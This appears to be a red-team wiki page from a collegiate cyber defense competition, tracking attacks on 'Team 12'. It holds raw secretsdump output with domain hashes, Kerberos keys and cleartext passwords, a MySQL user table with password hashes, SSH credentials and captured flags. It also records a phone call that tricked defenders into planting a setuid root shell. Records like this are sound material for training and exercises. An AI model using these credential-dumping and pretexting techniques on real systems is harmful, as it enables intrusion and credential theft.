Team 12 Wiki Page

Signup Login

Number: Team 12
Name: Cyber Samurai's
IP Range: 73.19.46.0/24
Domain: team12.isucdc.com
Current Place: 8th
Red Teamer(s): None

Blue Flags
AD C:\Windows\System32\ WWW /etc/ LP C:\Windows\System32\ WMS /etc/ DB /etc/ WWW admin_flag

Red Flags
AD C:\Users\Administrator\ WWW /root/ LP C:\Users\Administrator\ WMS /root/ DB /root/ DB New Table Deface the website

AD LDAP

AD RDP

WWW HTTP

WWW SSH

LP RDP

LP SMB

WMS HTTP

WMS SSH

DB SSH

DB SQL

secretsdump.py 'AD$'@ad.team12.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

(empty) (empty) (empty)
Administrator (empty) a48ecee8b7c355d52c326cfb5f4bdb9c
Guest (empty) 31d6cfe0d16ae931b73c59d7e0c089c0
krbtgt (empty) 4f1f8652d894d5508e0cbab1ac8acad6
DefaultAccount (empty) 31d6cfe0d16ae931b73c59d7e0c089c0
christy.davis her241mim f76fc0a26221273977ce78defb84fe05
jacqueline.elliott guf289kub c3c9a96ad2146f6257d16ce91f1ea72a
jennifer.freeman yok135nav fdd831266627cde496e1e415f9405786
anna.pugh rix616ric 5624a7f04a83faf6914edeb83d8357a5
craig.brown jav822nim f74015d8cc1bfa16fe85bbdd58cc21ea
travis.hebert nif666lus 1ebb483d91e9c613b0731627745a46ee
david.bailey pev397sen 84eaa90652629610a3b321a6f86a43c8
scott.avila hik362xoy 12d80b9dbf26121c9d432e01d59f106c
joseph.smith qaw504con f24de6aaa6c819fb24de4031c67bcf6e
sandra.henderson ROCK123 888bdb846c6ced6d86ede64c52038bb1
darren.williams blues22 1d4e5459c4b1e83948a5e500d3457a51
allison.hamilton tiny85 dc6805f77b07f33e2bd1a4f6c1943339
lori.petersen ricale 639c22b12e5c5664d3290241435f6088
AD$ (empty) 31d6cfe0d16ae931b73c59d7e0c089c0

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a48ecee8b7c355d52c326cfb5f4bdb9c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4f1f8652d894d5508e0cbab1ac8acad6:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
christy.davis:1110:aad3b435b51404eeaad3b435b51404ee:f76fc0a26221273977ce78defb84fe05:::
jacqueline.elliott:1111:aad3b435b51404eeaad3b435b51404ee:c3c9a96ad2146f6257d16ce91f1ea72a:::
jennifer.freeman:1112:aad3b435b51404eeaad3b435b51404ee:fdd831266627cde496e1e415f9405786:::
anna.pugh:1113:aad3b435b51404eeaad3b435b51404ee:5624a7f04a83faf6914edeb83d8357a5:::
craig.brown:1114:aad3b435b51404eeaad3b435b51404ee:f74015d8cc1bfa16fe85bbdd58cc21ea:::
travis.hebert:1115:aad3b435b51404eeaad3b435b51404ee:1ebb483d91e9c613b0731627745a46ee:::
david.bailey:1116:aad3b435b51404eeaad3b435b51404ee:84eaa90652629610a3b321a6f86a43c8:::
scott.avila:1117:aad3b435b51404eeaad3b435b51404ee:12d80b9dbf26121c9d432e01d59f106c:::
joseph.smith:1118:aad3b435b51404eeaad3b435b51404ee:f24de6aaa6c819fb24de4031c67bcf6e:::
sandra.henderson:1119:aad3b435b51404eeaad3b435b51404ee:888bdb846c6ced6d86ede64c52038bb1:::
darren.williams:1120:aad3b435b51404eeaad3b435b51404ee:1d4e5459c4b1e83948a5e500d3457a51:::
allison.hamilton:1121:aad3b435b51404eeaad3b435b51404ee:dc6805f77b07f33e2bd1a4f6c1943339:::
lori.petersen:1122:aad3b435b51404eeaad3b435b51404ee:639c22b12e5c5664d3290241435f6088:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
LP$:1124:aad3b435b51404eeaad3b435b51404ee:2636acaa2a58c202bf2eb1020f139c86:::
DB$:1125:aad3b435b51404eeaad3b435b51404ee:efe1be00c4d79c2706e54f121c298417:::
WWW$:1126:aad3b435b51404eeaad3b435b51404ee:973f82f0c33c6fff9ff77bf283822ab4:::
WMS$:1127:aad3b435b51404eeaad3b435b51404ee:e57379a408b00d9cf7bc1ec6a7cd05f1:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:0d22dc8382d87f37cd0201125e7fa245067ce020e3b30a8b9c33f3f6d4128a14
Administrator:aes128-cts-hmac-sha1-96:91ec24c745a55dfb8865d7ddb1fef012
Administrator:des-cbc-md5:fd04cd0deabfea9e
krbtgt:aes256-cts-hmac-sha1-96:bbcd737b209f45aea44890f603eb0aa850a806db346126719c7207799522e97e
krbtgt:aes128-cts-hmac-sha1-96:b07922cab11995e8fbf0246187fa3c3b
krbtgt:des-cbc-md5:2a643bf16bf1c7b6
christy.davis:aes256-cts-hmac-sha1-96:01a0730c94ee1b81f301bdbe61b491e9d6cbb99c20926b599b0d771985077e40
christy.davis:aes128-cts-hmac-sha1-96:c856da61b6dfc46f8acce61d0a78bf87
christy.davis:des-cbc-md5:9254987f2634322f
jacqueline.elliott:aes256-cts-hmac-sha1-96:819fd258bc560bff371041e1a9eab0c17e94b9104183dee0a537fcb68813d1da
jacqueline.elliott:aes128-cts-hmac-sha1-96:5e417b919ebbf01646dbbb6e0aff9a01
jacqueline.elliott:des-cbc-md5:bf0eec43688a32b9
jennifer.freeman:aes256-cts-hmac-sha1-96:b4496ce13207bfe6e8773f369b1f0e94bddac240090c6f658e2d4e2bfcf77277
jennifer.freeman:aes128-cts-hmac-sha1-96:ed5fb2299339d335e4462c0d80d37808
jennifer.freeman:des-cbc-md5:086197c8f1df7086
anna.pugh:aes256-cts-hmac-sha1-96:4c8a25e849f0fdc7d0c73348a52188d5c2654f21a0f268a64fa7cc91a5e90714
anna.pugh:aes128-cts-hmac-sha1-96:a33df449bf2ab21d9feee59afa7556fa
anna.pugh:des-cbc-md5:1acdd929b019195e
craig.brown:aes256-cts-hmac-sha1-96:1b8da7c1937ea2dc518faa11d5bcad5bfb5b485e8ad2c6285c205bcd14060c74
craig.brown:aes128-cts-hmac-sha1-96:66aeb70c140c564c7939b2c1d5080aad
craig.brown:des-cbc-md5:f12640d097290be6
travis.hebert:aes256-cts-hmac-sha1-96:1d15764c9ed4002582903096ba0f7eafb459da657d556378eda99c24ca8f7e3f
travis.hebert:aes128-cts-hmac-sha1-96:af8fedaa57bb0372c16074e45f857a10
travis.hebert:des-cbc-md5:514c7cae1ccb9d45
david.bailey:aes256-cts-hmac-sha1-96:a37e952f4946732af4829acafcb0177238648574e89c399ab8eee24273e32261
david.bailey:aes128-cts-hmac-sha1-96:a477686a4c12be96a9f3a9a920ee70ee
david.bailey:des-cbc-md5:b6c470d094ce5ea2
scott.avila:aes256-cts-hmac-sha1-96:4ef70a3d8a6630efc3faa1186cb6d170a5c1e86a08a53bd9848fea20c217a064
scott.avila:aes128-cts-hmac-sha1-96:50b962197a5064fd45b6ecaf8994c497
scott.avila:des-cbc-md5:ab4f38ba15dacd76
joseph.smith:aes256-cts-hmac-sha1-96:4e6e796895cdff5aba53720e502193ee63dfb8afb793ebd46c98a6f7539110c1
joseph.smith:aes128-cts-hmac-sha1-96:c106250b68d3813fe664c0688f5fdae5
joseph.smith:des-cbc-md5:ba9745912c92388f
sandra.henderson:aes256-cts-hmac-sha1-96:55a162db7b9281c40031e26b6c76d0e14f31a0c68da1d460e77f217f72df192c
sandra.henderson:aes128-cts-hmac-sha1-96:97ff8ad0d28ccc79c945d19d9c35ccf4
sandra.henderson:des-cbc-md5:b33454985e85d6d6
darren.williams:aes256-cts-hmac-sha1-96:4be9dd534e8498f6217404e33d47f422282a5de12d900f1b5c5fbaeabd2ec8ce
darren.williams:aes128-cts-hmac-sha1-96:582bf93c2f48c054baae3a7374095e27
darren.williams:des-cbc-md5:08f8e5bff2dfdadf
allison.hamilton:aes256-cts-hmac-sha1-96:42f07a03c17f6dee5cbd8c9bebda9eb0cd370251f8e3cea0806932fd5f15cb15
allison.hamilton:aes128-cts-hmac-sha1-96:a8c019396ba4d043272c42e3ab759710
allison.hamilton:des-cbc-md5:9e9b89e96837efe9
lori.petersen:aes256-cts-hmac-sha1-96:2ca106aa2c14510fb1f2c0bec205af3be2c1946ab63f977cf77f0f373aed07ab
lori.petersen:aes128-cts-hmac-sha1-96:89b71c58ed651649c3cd40efb082b329
lori.petersen:des-cbc-md5:0bec9bf7d90dcddc
AD$:aes256-cts-hmac-sha1-96:c58ab734fee50dc5f6ca386827bbfc67e92d9d877d3593a912b349b41101c26b
AD$:aes128-cts-hmac-sha1-96:2d2fa9098e7bea2280ed88b76f5ef8cd
AD$:des-cbc-md5:3731e5a837c720ae
LP$:aes256-cts-hmac-sha1-96:a23a80a401c73076b1a5240d5bff92bf26bb13883bd839497940115d5d24b2fc
LP$:aes128-cts-hmac-sha1-96:d94f2a52e99a1e0fe13dc07767ebca66
LP$:des-cbc-md5:9d4aabd62c57fbb9
DB$:aes256-cts-hmac-sha1-96:cf533bdbf44ca594668c38c86b63e76ac7a887e135d0830a9148791319d19ddd
DB$:aes128-cts-hmac-sha1-96:f4b7dfb4410d659de2b1b7c054f58c86
DB$:des-cbc-md5:a4dc8fd6d6629e97
WWW$:aes256-cts-hmac-sha1-96:78bebb62201874e2f81170244d32fee23792f6bbc63f41db0775b4da963d3007
WWW$:aes128-cts-hmac-sha1-96:459ea8cbc7547fe56c74b4c3fbe1ba9e
WWW$:des-cbc-md5:582ca22a6d316467
WMS$:aes256-cts-hmac-sha1-96:196bd71f72ace7b0940a8655cd82f5a92a648961495947e3f5b6fb18b673a7ec
WMS$:aes128-cts-hmac-sha1-96:72c7778c0581b673ff955dc136d99531
WMS$:des-cbc-md5:a2382019a8cd675d
[*] ClearText passwords grabbed
Administrator:CLEARTEXT:Makinmoves3425*
krbtgt:CLEARTEXT:0xaed40a8c78358d6958be71cc8baf72157275ed631de16121f91f655c4345280bf78e6cfb9e482aefbd3e0ad75d0be9cd1827eadba9090a15e8628a65d962a6838d14b733f169077c76924fa8a5d215af611a50492e9350cdd3f01b823e48621b9c48409d8b06446df66f2f196ad54961f28b2052584af14666f531bfd1c1f6602c9f20a519acd1163f994a90c676469aafe8377fd3b5c95b5c5e9c5a4850fac6359b5c92fab57a34fca377164f56fa88828d38befeb77133577a529d168b85702f9430a2f8bc0d051b639184dce4654154ac7d8be7886f4a59ae1c7f2c6d9435e14d1f24b908d0b237f51ed14b26b9ab1341a06935c88649e49700adc063928479ced6506c50332b47ab8d0cb80a7d2094e1f5bf33fc60569452283335a2529e0f683a02a9996a96b2a218975277c0a4b4dca75f427a72d6fe64a798a5295330c0f721e929f7fb08807f509d538be5877d2c2f32fe808f5e4a5875fa8a24c3f3c100668bb27ea44f4ab96b3c01ee5ab3a2b69b56cc6c8cbb13b4567e83675c67984cd858160b1205ea3d8b01f238616fee7e0008e56825a16f9103e982d64851a82ff4418d8de832ea046d5652024f801dfc226a7e38580ef2736704b8c48ee86af72891335d0041eb662e0ee2081d777a3d8d0ab75104c7fddb65112f4e289bdd8482ab77739905d9f9dbd516506013893a3982070939d22cf4686c01541676
christy.davis:CLEARTEXT:her241mim
jacqueline.elliott:CLEARTEXT:guf289kub
jennifer.freeman:CLEARTEXT:yok135nav
anna.pugh:CLEARTEXT:rix616ric
craig.brown:CLEARTEXT:jav822nim
travis.hebert:CLEARTEXT:nif666lus
david.bailey:CLEARTEXT:pev397sen
scott.avila:CLEARTEXT:hik362xoy
joseph.smith:CLEARTEXT:qaw504con
sandra.henderson:CLEARTEXT:ROCK123
darren.williams:CLEARTEXT:blues22
allison.hamilton:CLEARTEXT:tiny85
lori.petersen:CLEARTEXT:ricale
LP$:CLEARTEXT:0x8652cc908f2220e566b0a480d9f5884317ec331e1de7689eed8a87d0ec2c99127bd58ffc9877d5b9533a70baa09c8deb8a6c88ab4a8db5a90f50be613ff1ca6bcd17fb4b58abbef50352beda7784574592170ce19219ec6d001f075b7f9036b25a2b2c152c07c55c0ace0e787b460cbe184daad0ae668f1e9c8c3a896be30a1c150a8ac5bbd39da75424ee4eee7bd0384e16970efaaa493640fa234b5b8bc080dcc38d3ac87347adb7b1458f798469fd97180403675474d819d1ad083e4fe560aa087a4b8e658fb7cb71daf0e3c85042ef780331d7a63f5152e4a693c0301e0d349847e0b3b555c2c23611df738afbb4
DB$:CLEARTEXT:D+ZOF4ltTS]GcJ\m)5q5Wn^LuH]7,S(EW.ZCim7v%,hRk2-)pSW*zC.OqL_h&ZW-bg(^F\kB[lpgCRddS@i6ILUo#kgEX._GCd-(l>\UX6:?CT:(]c-hru%0
WWW$:CLEARTEXT:o#V&hmA3IToU%,c/r9-+1JUcuAi%P,Z_\boDg#@D#z1&O>NO;9Do\(Zz,vTvz^QJU2Dkm.73QYUyy=?w0qKQc\:5t;/DZ*_=^C4%Xrh#kO\HhYqmm7Fi,wo=
WMS$:CLEARTEXT:AAEhTjQlt4FAZpFV]y8vQi5fhDIC:2o0F<>tSyipmIATn0%_8MW]VtRbg=Pd7CJX7LJB1L7?N.4Y,TtnZ3N@1Bc)poU:fMdhg\i[.hR)q/;;wrwNh
[*] Cleaning up...

mysql> select * from mysql.user;
+-----------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------------------+--------------------------+----------------------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+-----------------------+-------------------+----------------+
| Host | User | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | Create_tablespace_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections | plugin | authentication_string | password_expired | password_last_changed | password_lifetime | account_locked |
+-----------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------------------+--------------------------+----------------------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+-----------------------+-------------------+----------------+
| localhost | root | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *11EFE3D56FB6AE7A199B1C6096139BEF7A313EA1 | N | 2026-02-19 13:33:02 | NULL | N |
| localhost | mysql.session | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | Y | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | N | 2026-02-19 13:12:20 | NULL | Y |
| localhost | mysql.sys | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | N | 2026-02-19 13:12:20 | NULL | Y |
| localhost | debian-sys-maint | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *06717CE17A0B5509161CF7FB625C1B46C7E899CA | N | 2026-02-19 13:12:20 | NULL | N |
| % | richard | Y | Y | Y | Y | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *11EFE3D56FB6AE7A199B1C6096139BEF7A313EA1 | N | 2026-03-05 14:38:25 | NULL | N |
| % | cdc | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *11EFE3D56FB6AE7A199B1C6096139BEF7A313EA1 | N | 2026-03-05 14:36:16 | NULL | N |
| % | anna.pugh | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *9E627D41D41D727E51406CDDA1CB6F6D96E25172 | N | 2026-04-24 16:28:48 | NULL | N |
| % | craig.brown | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *9E627D41D41D727E51406CDDA1CB6F6D96E25172 | N | 2026-04-24 16:30:16 | NULL | N |
| % | travis.hebert | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *9E627D41D41D727E51406CDDA1CB6F6D96E25172 | N | 2026-04-24 16:30:49 | NULL | N |
| % | david.bailey | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *9E627D41D41D727E51406CDDA1CB6F6D96E25172 | N | 2026-04-24 16:31:39 | NULL | N |
| localhost | richard | Y | Y | Y | Y | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | 0x | 0x | 0x | 0 | 0 | 0 | 0 | mysql_native_password | *11EFE3D56FB6AE7A199B1C6096139BEF7A313EA1 | N | 2026-04-24 22:34:09 | NULL | N |
+-----------+------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------------------+--------------------------+----------------------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+-----------------------+-------------------+----------------+
11 rows in set (0.00 sec)

mysql>

9E627D41D41D727E51406CDDA1CB6F6D96E25172:TSI

db.team12.isucdc.com has Richard for SSH (richard:cdc)

Called on the phone, and had them fix ad authentication on wms, by creating a setuid shell at `/bin/bashed`, and also the proper fix.

==> team12_ad-cwindowssystem32.flag <==
vUvp1Rh15Q995iiIj3tHTEKPZpGHnl7WWXikQy1DZZlrBQTng5

==> team12_db-etc.flag <==
aoxxxf7uyYnLOgwEWLBSucBZhxebXP7WiA7SmIEEhJb106mt3F

==> team12_lp-cwindowssystem32.flag <==
a7HUOQb1nIG84L0qwXXHxPFSFygaO5SYPnj4LmNsGATpZPxN3y

==> team12_wms-etc.flag <==
cIj8bdbQYCAr0atROqOgnuXQDtJi2hqpmzkTGPD8i326xFVICZ

==> team12_www-admin_flag.flag <==
kCrL6GfzVwpF4ajAdJsrG1qbiuqOF2iCGf7Br9nlcwAPT1vnFj

==> team12_www-etc.flag <==
oXYoHZVIKZPHiFqwLe9FkKhgjMncB5TYxJkV01ZAUHdhapT9l2

Team 12 Wiki Page

Team Information

Flag Status

Service Status

Nmap

Notable Vulnerabilities

Notable Defenses

Team Spirit Issues